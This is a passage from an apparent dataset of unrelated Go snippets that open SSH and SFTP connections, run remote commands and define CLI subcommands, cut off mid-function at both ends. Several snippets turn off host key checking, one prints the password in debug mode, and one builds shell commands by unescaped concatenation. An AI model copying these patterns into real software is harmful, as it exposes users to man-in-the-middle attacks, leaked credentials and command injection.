connection with private key.\n\t\tif auth, err = goph.Key(host.Keyfile, pwd); err != nil {\n\t\t\tif os.Getenv(\"GO\") == \"DEBUG\" {\n\t\t\t\tfmt.Println(err)\n\t\t\t}\n\t\t\t// ssh: this private key is passphrase protected\n\t\t\tpwd = common.AskPass(\"Private key passphrase: \")\n\t\t\tif auth, err = goph.Key(host.Keyfile, pwd); err != nil {\n\t\t\t\treturn \"\", err\n\t\t\t}\n\t\t}\n\t} else {\n\t\tif pwd == \"\" {\n\t\t\tpwd = common.AskPass(\n\t\t\t\tfmt.Sprintf(\"%s@%s's password: \", host.User, host.Addr),\n\t\t\t)\n\t\t}\n\t\tauth = goph.Password(pwd)\n\t}\n\n\tif os.Getenv(\"GO\") == \"DEBUG\" {\n\t\tfmt.Println(host, pwd, force)\n\t}\n\n\tclient, err := goph.NewConn(&goph.Config{\n\t\tUser: host.User,\n\t\tAddr: host.Addr,\n\t\tPort: host.Port,\n\t\tAuth: auth,\n\t\tTimeout: 5 * time.Second,\n\t\tCallback: callback,\n\t})\n\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\t// Defer closing the network connection.\n\tdefer client.Close()\n\n\t// Execute your command.\n\tout, err := client.Run(strings.Join(cmds, \" && \"))\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\t// Get your output as []byte.\n\treturn string(out), nil\n}", "func (s *Transport) connect(user string, config *ssh.ClientConfig) (*ssh.Client, error) {\n const sshTimeout = 30 * time.Second\n\n if v, ok := s.client(user); ok {\n return v, nil\n }\n\n client, err := ssh.Dial(\"tcp\", fmt.Sprintf(\"%s:%d\", s.addr, s.port), config)\n if err != nil {\n return nil, err\n }\n s.mu.Lock()\n defer s.mu.Unlock()\n s.clients[user] = client\n return client, nil\n}", "func (ssh *SSHConfig) Exec(cmdString string) error {\n\ttunnels, sshConfig, err := ssh.CreateTunnels()\n\tif err != nil {\n\t\tfor _, t := range tunnels {\n\t\t\tnerr := t.Close()\n\t\t\tif nerr != nil {\n\t\t\t\tlog.Warnf(\"Error closing ssh tunnel: %v\", nerr)\n\t\t\t}\n\t\t}\n\t\treturn fmt.Errorf(\"Unable to create command : %s\", err.Error())\n\t}\n\tsshCmdString, keyFile, err := createSSHCmd(sshConfig, cmdString, false)\n\tif err != nil {\n\t\tfor _, t := range tunnels {\n\t\t\tnerr := t.Close()\n\t\t\tif nerr != nil {\n\t\t\t\tlog.Warnf(\"Error closing ssh tunnel: %v\", nerr)\n\t\t\t}\n\t\t}\n\t\tif keyFile != nil {\n\t\t\tnerr := utils.LazyRemove(keyFile.Name())\n\t\t\tif nerr != nil {\n\t\t\t\tlog.Warnf(\"Error removing file %v\", nerr)\n\t\t\t}\n\t\t}\n\t\treturn fmt.Errorf(\"Unable to create command : %s\", err.Error())\n\t}\n\tbash, err := exec.LookPath(\"bash\")\n\tif err != nil {\n\t\tfor _, t := range tunnels {\n\t\t\tnerr := t.Close()\n\t\t\tif nerr != nil {\n\t\t\t\tlog.Warnf(\"Error closing ssh tunnel: %v\", nerr)\n\t\t\t}\n\t\t}\n\t\tif keyFile != nil {\n\t\t\tnerr := utils.LazyRemove(keyFile.Name())\n\t\t\tif nerr != nil {\n\t\t\t\tlog.Warnf(\"Error removing file %v\", nerr)\n\t\t\t}\n\t\t}\n\t\treturn fmt.Errorf(\"Unable to create command : %s\", err.Error())\n\t}\n\tvar args []string\n\tif cmdString == \"\" {\n\t\targs = []string{sshCmdString}\n\t} else {\n\t\targs = []string{\"-c\", sshCmdString}\n\t}\n\terr = syscall.Exec(bash, args, nil)\n\tnerr := utils.LazyRemove(keyFile.Name())\n\tif nerr != nil {\n\t}\n\treturn err\n}", "func Connect(cmd *cobra.Command) (radio.Connector, error) {\n\tif cmd == nil {\n\t\treturn nil, errors.New(\"no cobra command given\")\n\t}\n\tconnector := connector{\n\t\tcmd: cmd,\n\t}\n\n\treturn &connector, nil\n}", "func (sc *SSHClient) InteractiveCommand(cmd string) error {\n\tsession, err := sc.client.NewSession()\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer session.Close()\n\tout, err := session.StdoutPipe()\n\tif err != nil {\n\t\treturn err\n\t}\n\tin, err := session.StdinPipe()\n\tif err != nil {\n\t\treturn err\n\t}\n\tgo processOut(out, in)\n\touterr, err := session.StderrPipe()\n\tif err != nil {\n\t\treturn err\n\t}\n\tgo processOut(outerr, in)\n\terr = session.Shell()\n\tif err != nil {\n\t\treturn err\n\t}\n\tfmt.Fprintf(in, \"%s\\n\", cmd)\n\treturn session.Wait()\n}", "func DialCommand(cmd *exec.Cmd) (*Conn, error) {\n\treader, err := cmd.StdoutPipe()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\twriter, err := cmd.StdinPipe()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\terr = cmd.Start()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &Conn{reader, writer, os.Getpid(), cmd.Process.Pid}, nil\n}", "func SSHConnect(resource *OpenAmResource, port string) (*ssh.Client, *ssh.Session, error) {\n\n\tsshConfig := &ssh.ClientConfig{\n\t\tUser: resource.Username,\n\t\tAuth: []ssh.AuthMethod{ssh.Password(resource.Password)},\n\t}\n\n\tserverString := resource.Hostname + \":\" + port\n\n\tsshConfig.HostKeyCallback = ssh.InsecureIgnoreHostKey()\n\tclient, err := ssh.Dial(\"tcp\", serverString, sshConfig)\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\tsession, err := client.NewSession()\n\tif err != nil {\n\t\tclient.Close()\n\t\treturn nil, nil, err\n\t}\n\n\treturn client, session, nil\n}", "func cmdSSH() {\n\tswitch state := status(B2D.VM); state {\n\tcase vmUnregistered:\n\t\tlog.Fatalf(\"%s is not registered.\", B2D.VM)\n\tcase vmRunning:\n\t\tcmdParts := append(strings.Fields(B2D.SSHPrefix), fmt.Sprintf(\"%d\", B2D.SSHPort), \"docker@localhost\")\n\t\tif err := cmd(cmdParts[0], cmdParts[1:]...); err != nil {\n\t\t\tlog.Fatal(err)\n\t\t}\n\tdefault:\n\t\tlog.Fatalf(\"%s is not running.\", B2D.VM)\n\t}\n}", "func SetSSHCommand(command string) {\n\tsshCommand = command\n}", "func ConnectSSH(ip string) (*goph.Client, error) {\n\t// gets private ssh key\n\thome, err := os.UserHomeDir()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdir := home + \"/.ssh/id_rsa\"\n\treader := bufio.NewReader(os.Stdin)\n\tfmt.Printf(\"Type password of ssh key:\")\n\tpass, err := reader.ReadString('\\n')\n\tpass = strings.Trim(pass, \"\\n\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// gets an auth method goph.Auth for handling the connection request\n\tauth, err := goph.Key(dir, pass)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// asks for a new ssh connection returning the client for SSH\n\tclient, err := goph.NewConn(&goph.Config{\n\t\tUser: \"root\",\n\t\tAddr: ip,\n\t\tPort: 22,\n\t\tAuth: auth,\n\t\tCallback: VerifyHost, //HostCallBack custom (appends host to known_host if not exists)\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn client, nil\n}", "func Dial(waitCtx context.Context, sshConf map[string]interface{}) (*Remoter, error) {\n\tr := &Remoter{}\n\tvar exists bool\n\tr.Host, exists = sshConf[\"host\"].(string)\n\tif !exists {\n\t\treturn nil, fmt.Errorf(\"conf not exists host\")\n\t}\n\tr.User, exists = sshConf[\"user\"].(string)\n\tif !exists {\n\t\treturn nil, fmt.Errorf(\"conf not exists user\")\n\t}\n\tr.Port, exists = sshConf[\"port\"].(string)\n\tif !exists {\n\t\treturn nil, fmt.Errorf(\"conf not exists port\")\n\t}\n\taddr := net.JoinHostPort(r.Host, r.Port)\n\n\tauth := make([]ssh.AuthMethod, 0)\n\tif pass, ok := sshConf[\"password\"].(string); ok {\n\t\tauth = append(auth, ssh.Password(pass))\n\t} else {\n\t\tprivKeyFileName, exists := sshConf[\"privKey\"].(string)\n\t\tif !exists {\n\t\t\treturn nil, fmt.Errorf(\"conf not exists privKey\")\n\t\t}\n\t\tprivKeyBytes, err := ioutil.ReadFile(privKeyFileName)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tprivKey, err := ssh.ParsePrivateKey(privKeyBytes)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tauth = append(auth, ssh.PublicKeys(privKey))\n\t}\n\n\thostKeyCallback := func(hostname string, remote net.Addr, key ssh.PublicKey) error {\n\t\treturn nil\n\t}\n\n\tcltConf := ssh.ClientConfig{\n\t\tUser: r.User,\n\t\tAuth: auth,\n\t\tHostKeyCallback: hostKeyCallback,\n\t}\n\t// 这里有 TCP 三次握手超时和 SSH 握手超时\n\tclt, err := r.dialContext(waitCtx, \"tcp\", addr, &cltConf)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tr.clt = clt\n\treturn r, nil\n}", "func (ssh *SSHConfig) Command(cmdString string) (*SSHCommand, error) {\n\treturn ssh.command(cmdString, false)\n}", "func (ssh *SSHConfig) CommandContext(ctx context.Context, cmdString string) (*SSHCommand, error) {\n\ttunnels, sshConfig, err := ssh.CreateTunnels()\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"Unable to create command : %s\", err.Error())\n\t}\n\tsshCmdString, keyFile, err := createSSHCmd(sshConfig, cmdString, false)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"Unable to create command : %s\", err.Error())\n\t}\n\n\tcmd := exec.CommandContext(ctx, \"bash\", \"-c\", sshCmdString)\n\tsshCommand := SSHCommand{\n\t\tcmd: cmd,\n\t\ttunnels: tunnels,\n\t\tkeyFile: keyFile,\n\t}\n\treturn &sshCommand, nil\n}", "func sendCommand(conn net.Conn, command string, text string) {\n\tfmt.Fprintf(conn, \"%s %s\\r\\n\", command, text)\n fmt.Printf(\"%s %s\\n\", command, text)\n}", "func Command(cfg config.Config) []cli.Command {\n\tsshCmd := cli.Command{\n\t\tName: \"ssh\",\n\t\tUsage: \"access an environment using ssh\",\n\t}\n\t// scpCmd := cli.Command{\n\t// \tName: \"scp\",\n\t// \tUsage: \"access an environment using scp\",\n\t// }\n\n\tfor _, e := range cfg.Environments {\n\t\tvar env = e\n\t\tsshSubcommand := cli.Command{\n\t\t\tName: env.Name,\n\t\t\tUsage: \"ssh to \" + env.Name,\n\t\t}\n\t\t// scpSubcommand := cli.Command{\n\t\t// \tName: env.Name,\n\t\t// \tUsage: \"scp to \" + env.Name,\n\t\t// }\n\n\t\tgroups, err := ansible.GetGroupsForEnvironment(cfg, env.Name)\n\t\tif err != nil {\n\t\t\tfmt.Printf(\"error loading ansible hosts for %s: %s\\n\", env.Name, err)\n\t\t\tcontinue\n\t\t}\n\n\t\tvar actionFunc = func(grp string, env config.Environment, scp bool) func(c *cli.Context) error {\n\t\t\treturn func(c *cli.Context) error {\n\t\t\t\tif len(cfg.SSHUser) == 0 {\n\t\t\t\t\treturn fmt.Errorf(\"DP_SSH_USER environment variable must be set\")\n\t\t\t\t}\n\n\t\t\t\tidx := c.Args().First()\n\t\t\t\trIndex := int(-1)\n\n\t\t\t\tif len(idx) > 0 {\n\t\t\t\t\tidxInt, err := strconv.Atoi(idx)\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\treturn fmt.Errorf(\"invalid numeric value for index: %s\", idx)\n\t\t\t\t\t}\n\t\t\t\t\trIndex = idxInt\n\t\t\t\t}\n\n\t\t\t\t// if scp {\n\t\t\t\t// \tfmt.Println(\"scp to \" + grp + \" in \" + env.Name)\n\t\t\t\t// } else {\n\t\t\t\tfmt.Println(\"ssh to \" + grp + \" in \" + env.Name)\n\t\t\t\t// }\n\n\t\t\t\tr, err := aws.ListEC2ByAnsibleGroup(env.Name, grp)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn fmt.Errorf(\"error fetching ec2: %s\", err)\n\t\t\t\t}\n\t\t\t\tif len(r) == 0 {\n\t\t\t\t\treturn errors.New(\"no matching instances found\")\n\t\t\t\t}\n\t\t\t\tvar inst aws.EC2Result\n\t\t\t\tif len(r) > 1 {\n\t\t\t\t\tif rIndex < 0 {\n\t\t\t\t\t\tfor i, v := range r {\n\t\t\t\t\t\t\tfmt.Printf(\"[%d] %s: %s %s\\n\", i, v.Name, v.IPAddress, v.AnsibleGroups)\n\t\t\t\t\t\t}\n\t\t\t\t\t\treturn errors.New(\"use an index to select a specific instance\")\n\t\t\t\t\t}\n\n\t\t\t\t\tinst = r[rIndex]\n\t\t\t\t} else {\n\t\t\t\t\tinst = r[0]\n\t\t\t\t}\n\t\t\t\tfmt.Printf(\"[%d] %s: %s %s\\n\", rIndex, inst.Name, inst.IPAddress, inst.AnsibleGroups)\n\n\t\t\t\t// if scp {\n\t\t\t\t// \treturn launch.SCP(cfg, cfg.SSHUser, inst.IPAddress, c.Args().Tail()...)\n\t\t\t\t// } else {\n\t\t\t\treturn launch.SSH(cfg, cfg.SSHUser, inst.IPAddress)\n\t\t\t\t// }\n\t\t\t}\n\t\t}\n\n\t\tfor _, g := range groups {\n\t\t\tvar grp = g\n\t\t\tsshGroupCmd := cli.Command{\n\t\t\t\tName: grp,\n\t\t\t\tUsage: \"ssh to \" + grp + \" in \" + env.Name,\n\t\t\t\tAction: actionFunc(grp, env, false),\n\t\t\t}\n\t\t\t// scpGroupCmd := cli.Command{\n\t\t\t// \tName: grp,\n\t\t\t// \tUsage: \"scp to \" + grp + \" in \" + env.Name,\n\t\t\t// \tAction: actionFunc(grp, env, true),\n\t\t\t// }\n\t\t\tsshSubcommand.Subcommands = append(sshSubcommand.Subcommands, sshGroupCmd)\n\t\t\t// scpSubcommand.Subcommands = append(scpSubcommand.Subcommands, scpGroupCmd)\n\t\t}\n\n\t\tsshCmd.Subcommands = append(sshCmd.Subcommands, sshSubcommand)\n\t\t// scpCmd.Subcommands = append(scpCmd.Subcommands, scpSubcommand)\n\t}\n\n\t// return []cli.Command{sshCmd, scpCmd}\n\treturn []cli.Command{sshCmd}\n}", "func init() {\n\tcmd := cli.Command{\n\t\tName: \"ssh\",\n\t\tUsage: \"create and manage ssh certificates\",\n\t\tUsageText: \"step ssh <subcommand> [arguments] [global-flags] [subcommand-flags]\",\n\t\tDescription: `**step ssh** command group provides facilities to sign SSH certificates.\n\n## EXAMPLES\n\nGenerate a new SSH key pair and user certificate:\n'''\n$ step ssh certificate joe@work id_ecdsa\n'''\n\nGenerate a new SSH key pair and host certificate:\n'''\n$ step ssh certificate --host internal.example.com ssh_host_ecdsa_key\n'''\n\nAdd a new user certificate to the agent:\n'''\n$ step ssh login [email protected]\n'''\n\nRemove a certificate from the agent:\n'''\n$ step ssh logout [email protected]\n'''\n\nList all keys in the agent:\n'''\n$ step ssh list\n'''\n\nConfigure a user environment with the SSH templates:\n'''\n$ step ssh config\n'''\n\nInspect an ssh certificate file:\n'''\n$ step ssh inspect id_ecdsa-cert.pub\n'''\n\nInspect an ssh certificate in the agent:\n'''\n$ step ssh list --raw [email protected] | step ssh inspect\n'''\n\nList all the hosts you have access to:\n'''\n$ step ssh hosts\n'''\n\nLogin into one host:\n'''\n$ ssh internal.example.com\n'''`,\n\t\tSubcommands: cli.Commands{\n\t\t\tcertificateCommand(),\n\t\t\tcheckHostCommand(),\n\t\t\tconfigCommand(),\n\t\t\tfingerPrintCommand(),\n\t\t\thostsCommand(),\n\t\t\tinspectCommand(),\n\t\t\tlistCommand(),\n\t\t\tloginCommand(),\n\t\t\tlogoutCommand(),\n\t\t\tneedsRenewalCommand(),\n\t\t\t// proxyCommand(),\n\t\t\tproxycommandCommand(),\n\t\t\trekeyCommand(),\n\t\t\trenewCommand(),\n\t\t\trevokeCommand(),\n\t\t},\n\t}\n\n\tcommand.Register(cmd)\n}", "func (self *SinglePad) ConnectI(args ...interface{}) {\n self.Object.Call(\"connect\", args)\n}", "func (s *SSHClient) Execute(host, cmd string) (string, error) {\n\thostname := fmt.Sprintf(\"%s.%s.%s:%d\", host, s.projectID, DropletDomain, defaultSSHPort)\n\n\tpemBytes, err := s.repo.GetKey(s.projectID)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tsigner, err := ssh.ParsePrivateKey(pemBytes)\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"parse key failed: %v\", err)\n\t}\n\n\tconfig := &ssh.ClientConfig{\n\t\tUser: \"workshop\",\n\t\tAuth: []ssh.AuthMethod{ssh.PublicKeys(signer)},\n\t}\n\n\ts.log.WithField(\"hostname\", hostname).Info(\"dialing\")\n\tconn, err := ssh.Dial(\"tcp\", hostname, config)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\ts.log.WithField(\"hostname\", hostname).Info(\"creating session\")\n\tsession, err := conn.NewSession()\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tdefer session.Close()\n\n\tvar buf bytes.Buffer\n\tsession.Stdout = &buf\n\n\ts.log.WithFields(logrus.Fields{\n\t\t\"hostname\": hostname,\n\t\t\"cmd\": cmd}).\n\t\tInfo(\"running command\")\n\terr = session.Run(cmd)\n\tif err != nil {\n\t\ts.log.WithField(\"output\", buf.String()).WithError(err).Error(\"ssh client run returned non zero result\")\n\t\treturn \"\", fmt.Errorf(\"%s\\n%s\", err, buf.String())\n\t}\n\n\treturn buf.String(), nil\n}", "func Exec(config *ssh.ClientConfig, addr string, workDir string, cmd string, nixConf string) (bytes.Buffer, error) {\n\tvar b bytes.Buffer // import \"bytes\"\n\n\t// Connect\n\tclient, err := ssh.Dial(\"tcp\", net.JoinHostPort(addr, \"22\"), config)\n\tif err != nil {\n\t\treturn b, err\n\t}\n\t// Create a session. It is one session per command.\n\tsession, err := client.NewSession()\n\tif err != nil {\n\t\treturn b, err\n\t}\n\tdefer session.Close()\n\n\tsession.Stderr = os.Stderr // get output\n\tsession.Stdout = &b // get output\n\t// you can also pass what gets input to the stdin, allowing you to pipe\n\t// content from client to server\n\t// session.Stdin = bytes.NewBufferString(\"My input\")\n\n\t// Finally, run the command\n\tfullCmd := \". ~/.nix-profile/etc/profile.d/nix.sh && cd \" + workDir + \" && nix-shell \" + nixConf + \" --command '\" + cmd + \"'\"\n\tfmt.Println(fullCmd)\n\terr = session.Run(fullCmd)\n\treturn b, err\n}", "func (instance *NDiscovery) sendCommand(conn *lygo_n_net.NConn, command string, params map[string]interface{}) *lygo_n_commons.Response {\n\treturn conn.Send(command, params)\n}", "func sftpconnect(n *Node) (*sftp.Client, error) {\n\tuser := n.UserName\n\thost := n.Addr\n\tport := 22\n\tvar (\n\t\tauth []ssh.AuthMethod\n\t\taddr string\n\t\tclientConfig *ssh.ClientConfig\n\t\tsshClient *ssh.Client\n\t\tsftpClient *sftp.Client\n\t\terr error\n\t)\n\t// Get auth method\n\tif n.AuthMethod == \"privateKey\" {\n\t\tauth = make([]ssh.AuthMethod, 0)\n\t\tauth = append(auth, publicKeyAuthFunc(n.PrivateKey))\n\t} else if n.AuthMethod == \"password\" {\n\t\tauth = make([]ssh.AuthMethod, 0)\n\t\tauth = append(auth, ssh.Password(n.Password))\n\t}\n\n\thostKeyCallbk := func(hostname string, remote net.Addr, key ssh.PublicKey) error {\n\t\treturn nil\n\t}\n\n\tclientConfig = &ssh.ClientConfig{\n\t\tUser: user,\n\t\tAuth: auth,\n\t\tTimeout: 30 * time.Second,\n\t\tHostKeyCallback: hostKeyCallbk,\n\t}\n\n\t// Connet to ssh\n\taddr = fmt.Sprintf(\"%s:%d\", host, port)\n\n\tif sshClient, err = ssh.Dial(\"tcp\", addr, clientConfig); err != nil {\n\t\treturn nil, err\n\t}\n\n\t// Create sftp client\n\tif sftpClient, err = sftp.NewClient(sshClient); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn sftpClient, nil\n}", "func (rhost *rhostData) connect() {\n\n\t// Get local IP list\n\tips, _ := rhost.getIPs()\n\n\t// Create command buffer\n\tbuf := new(bytes.Buffer)\n\t_, port := rhost.teo.td.GetAddr()\n\tbinary.Write(buf, binary.LittleEndian, byte(len(ips)))\n\tfor _, addr := range ips {\n\t\tbinary.Write(buf, binary.LittleEndian, []byte(addr))\n\t\tbinary.Write(buf, binary.LittleEndian, byte(0))\n\t}\n\tbinary.Write(buf, binary.LittleEndian, uint32(port))\n\tdata := buf.Bytes()\n\tfmt.Printf(\"Connect to r-host, send local IPs\\nip: %v\\nport: %d\\n\", ips, port)\n\n\t// Send command to r-host\n\trhost.teo.sendToTcd(rhost.tcd, CmdConnectR, data)\n\trhost.connected = true\n}", "func NewConnection(host, port, user, keyPath string) (*Connection, error) {\n\tconn, err := net.Dial(\"unix\", os.Getenv(\"SSH_AUTH_SOCK\"))\n\tif err != nil {\n\t\tlog.Printf(\"unable to establish net connection $SSH_AUTH_SOCK has value %s\\n\", os.Getenv(\"SSH_AUTH_SOCK\"))\n\t\treturn nil, err\n\t}\n\tdefer conn.Close()\n\tag := agent.NewClient(conn)\n\n\tprivateKeyBytes, err := os.ReadFile(keyPath)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tprivateKey, err := ssh.ParseRawPrivateKey(privateKeyBytes)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\taddKey := agent.AddedKey{\n\t\tPrivateKey: privateKey,\n\t}\n\n\tag.Add(addKey)\n\tsigners, err := ag.Signers()\n\tif err != nil {\n\t\tlog.Println(\"unable to add key to agent\")\n\t\treturn nil, err\n\t}\n\tauths := []ssh.AuthMethod{ssh.PublicKeys(signers...)}\n\n\tcfg := &ssh.ClientConfig{\n\t\tUser: user,\n\t\tAuth: auths,\n\t\tHostKeyCallback: ssh.InsecureIgnoreHostKey(),\n\t}\n\n\tcnctStr := fmt.Sprintf(\"%s:%s\", host, port)\n\tsshClient, err := ssh.Dial(\"tcp\", cnctStr, cfg)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &Connection{\n\t\tHost: host,\n\t\tPort: port,\n\t\tUser: user,\n\t\tPrivateKeyPath: keyPath,\n\t\tClientConfig: cfg,\n\t\tClient: sshClient,\n\t}, nil\n}", "func (h *Host) Connect() error {\n\tkey, err := ioutil.ReadFile(h.SSHKeyPath)\n\tif err != nil {\n\t\treturn err\n\t}\n\tsigner, err := ssh.ParsePrivateKey(key)\n\tif err != nil {\n\t\treturn err\n\t}\n\tconfig := ssh.ClientConfig{\n\t\tUser: h.User,\n\t\tAuth: []ssh.AuthMethod{\n\t\t\tssh.PublicKeys(signer),\n\t\t},\n\t\tHostKeyCallback: ssh.InsecureIgnoreHostKey(),\n\t}\n\taddress := fmt.Sprintf(\"%s:%d\", h.Address, h.SSHPort)\n\tclient, err := ssh.Dial(\"tcp\", address, &config)\n\tif err != nil {\n\t\treturn err\n\t}\n\th.sshClient = client\n\n\treturn nil\n}", "func (ssh *SSHConfig) Enter() error {\n\ttunnels, sshConfig, err := ssh.CreateTunnels()\n\tif err != nil {\n\t\tfor _, t := range tunnels {\n\t\t\tnerr := t.Close()\n\t\t\tif nerr != nil {\n\t\t\t\tlog.Warnf(\"Error closing ssh tunnel: %v\", nerr)\n\t\t\t}\n\t\t}\n\t\treturn fmt.Errorf(\"Unable to create command : %s\", err.Error())\n\t}\n\n\tsshCmdString, keyFile, err := createSSHCmd(sshConfig, \"\", false)\n\tif err != nil {\n\t\tfor _, t := range tunnels {\n\t\t\tnerr := t.Close()\n\t\t\tif nerr != nil {\n\t\t\t\tlog.Warnf(\"Error closing ssh tunnel: %v\", nerr)\n\t\t\t}\n\t\t}\n\t\tif keyFile != nil {\n\t\t\tnerr := utils.LazyRemove(keyFile.Name())\n\t\t\tif nerr != nil {\n\t\t\t\tlog.Warnf(\"Error removing file %v\", nerr)\n\t\t\t}\n\t\t}\n\t\treturn fmt.Errorf(\"Unable to create command : %s\", err.Error())\n\t}\n\n\tbash, err := exec.LookPath(\"bash\")\n\tif err != nil {\n\t\tfor _, t := range tunnels {\n\t\t\tnerr := t.Close()\n\t\t\tif nerr != nil {\n\t\t\t\tlog.Warnf(\"Error closing ssh tunnel: %v\", nerr)\n\t\t\t}\n\t\t}\n\t\tif keyFile != nil {\n\t\t\tnerr := utils.LazyRemove(keyFile.Name())\n\t\t\tif nerr != nil {\n\t\t\t\tlog.Warnf(\"Error removing file %v\", nerr)\n\t\t\t}\n\t\t}\n\t\treturn fmt.Errorf(\"Unable to create command : %s\", err.Error())\n\t}\n\n\tproc := exec.Command(bash, \"-c\", sshCmdString)\n\tproc.Stdin = os.Stdin\n\tproc.Stdout = os.Stdout\n\tproc.Stderr = os.Stderr\n\terr = proc.Run()\n\tnerr := utils.LazyRemove(keyFile.Name())\n\tif nerr != nil {\n\t\tlog.Warnf(\"Error removing file %v\", nerr)\n\t}\n\treturn err\n}", "func (h *Host) Exec(cmd string) error {\n\tsession, err := h.sshClient.NewSession()\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer session.Close()\n\n\tstdout, err := session.StdoutPipe()\n\tif err != nil {\n\t\treturn err\n\t}\n\tstderr, err := session.StderrPipe()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tlogrus.Debugf(\"executing command: %s\", cmd)\n\tif err := session.Start(cmd); err != nil {\n\t\treturn err\n\t}\n\n\tmultiReader := io.MultiReader(stdout, stderr)\n\toutputScanner := bufio.NewScanner(multiReader)\n\n\tfor outputScanner.Scan() {\n\t\tlogrus.Debugf(\"%s: %s\", h.FullAddress(), outputScanner.Text())\n\t}\n\tif err := outputScanner.Err(); err != nil {\n\t\tlogrus.Errorf(\"%s: %s\", h.FullAddress(), err.Error())\n\t}\n\n\treturn nil\n}", "func DialSSHWithPassword(addr string, username string, password string, cb ssh.HostKeyCallback) (Client, error) {\n\treturn dialSSH(addr, username, ssh.Password(password), cb)\n}", "func (ch *InternalChannel) Connect(c *Client) {}", "func (curi *ConnectionURI) dialSSH() (net.Conn, error) {\n\tq := curi.Query()\n\n\tknownHostsPath := q.Get(\"knownhosts\")\n\tif knownHostsPath == \"\" {\n\t\tknownHostsPath = defaultSSHKnownHostsPath\n\t}\n\thostKeyCallback, err := knownhosts.New(os.ExpandEnv(knownHostsPath))\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to read ssh known hosts: %w\", err)\n\t}\n\n\tsshKeyPath := q.Get(\"keyfile\")\n\tif sshKeyPath == \"\" {\n\t\tsshKeyPath = defaultSSHKeyPath\n\t}\n\tsshKey, err := ioutil.ReadFile(os.ExpandEnv(sshKeyPath))\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to read ssh key: %w\", err)\n\t}\n\n\tsigner, err := ssh.ParsePrivateKey(sshKey)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to parse ssh key: %w\", err)\n\t}\n\n\tusername := curi.User.Username()\n\tif username == \"\" {\n\t\tu, err := user.Current()\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tusername = u.Name\n\t}\n\n\tcfg := ssh.ClientConfig{\n\t\tUser: username,\n\t\tHostKeyCallback: hostKeyCallback,\n\t\tAuth: []ssh.AuthMethod{ssh.PublicKeys(signer)},\n\t\tTimeout: 2 * time.Second,\n\t}\n\n\tport := curi.Port()\n\tif port == \"\" {\n\t\tport = defaultSSHPort\n\t}\n\n\tsshClient, err := ssh.Dial(\"tcp\", fmt.Sprintf(\"%s:%s\", curi.Hostname(), port), &cfg)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\taddress := q.Get(\"socket\")\n\tif address == \"\" {\n\t\taddress = defaultUnixSock\n\t}\n\n\tc, err := sshClient.Dial(\"unix\", address)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to connect to libvirt on the remote host: %w\", err)\n\t}\n\n\treturn c, nil\n}", "func (sc *SSHClient) Command(cmd string) (io.Reader, error) {\n\tfmt.Println(cmd)\n\tsession, err := sc.client.NewSession()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer session.Close()\n\tout, err := session.StdoutPipe()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tbuf := &bytes.Buffer{}\n\twriter := io.MultiWriter(os.Stdout, buf)\n\tgo io.Copy(writer, out)\n\touterr, err := session.StderrPipe()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tgo io.Copy(os.Stderr, outerr)\n\terr = session.Run(cmd)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn buf, nil\n}", "func newSSHConnectionAndAuth(c *model.Config) (Authentication, error) {\n\ts, err := ssh.Connect(c)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tssh := &SSH{\n\t\tconn: s,\n\t\thost: c.Host,\n\t\tport: c.Port,\n\t\tusername: c.Username,\n\t\tpassword: c.Password,\n\t\ttimeout: c.Timeout,\n\t\ttimeoutCommand: c.TimeoutCommand,\n\t}\n\tif err := ssh.setBannerName(); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn ssh, nil\n}", "func (ch *ServerChannel) Connect(c *Client) {}", "func (n *Node) ExecuteCommand(command string) (string, error) {\n\tsigner, err := ssh.ParsePrivateKey(n.SSHKey)\n\tvar output []byte\n\tvar output_string string\n\n\tif err != nil {\n\t\treturn output_string, err\n\t}\n\n\tauths := []ssh.AuthMethod{ssh.PublicKeys([]ssh.Signer{signer}...)}\n\n\tcfg := &ssh.ClientConfig{\n\t\tUser: n.SSHUser,\n\t\tAuth: auths,\n\t\tHostKeyCallback: ssh.InsecureIgnoreHostKey(),\n\t}\n\tcfg.SetDefaults()\n\n\tclient, err := ssh.Dial(\"tcp\", n.PublicIPAddress+\":22\", cfg)\n\tif err != nil {\n\t\treturn output_string, err\n\t}\n\n\tsession, err := client.NewSession()\n\tif err != nil {\n\t\treturn output_string, err\n\t}\n\n\toutput, err = 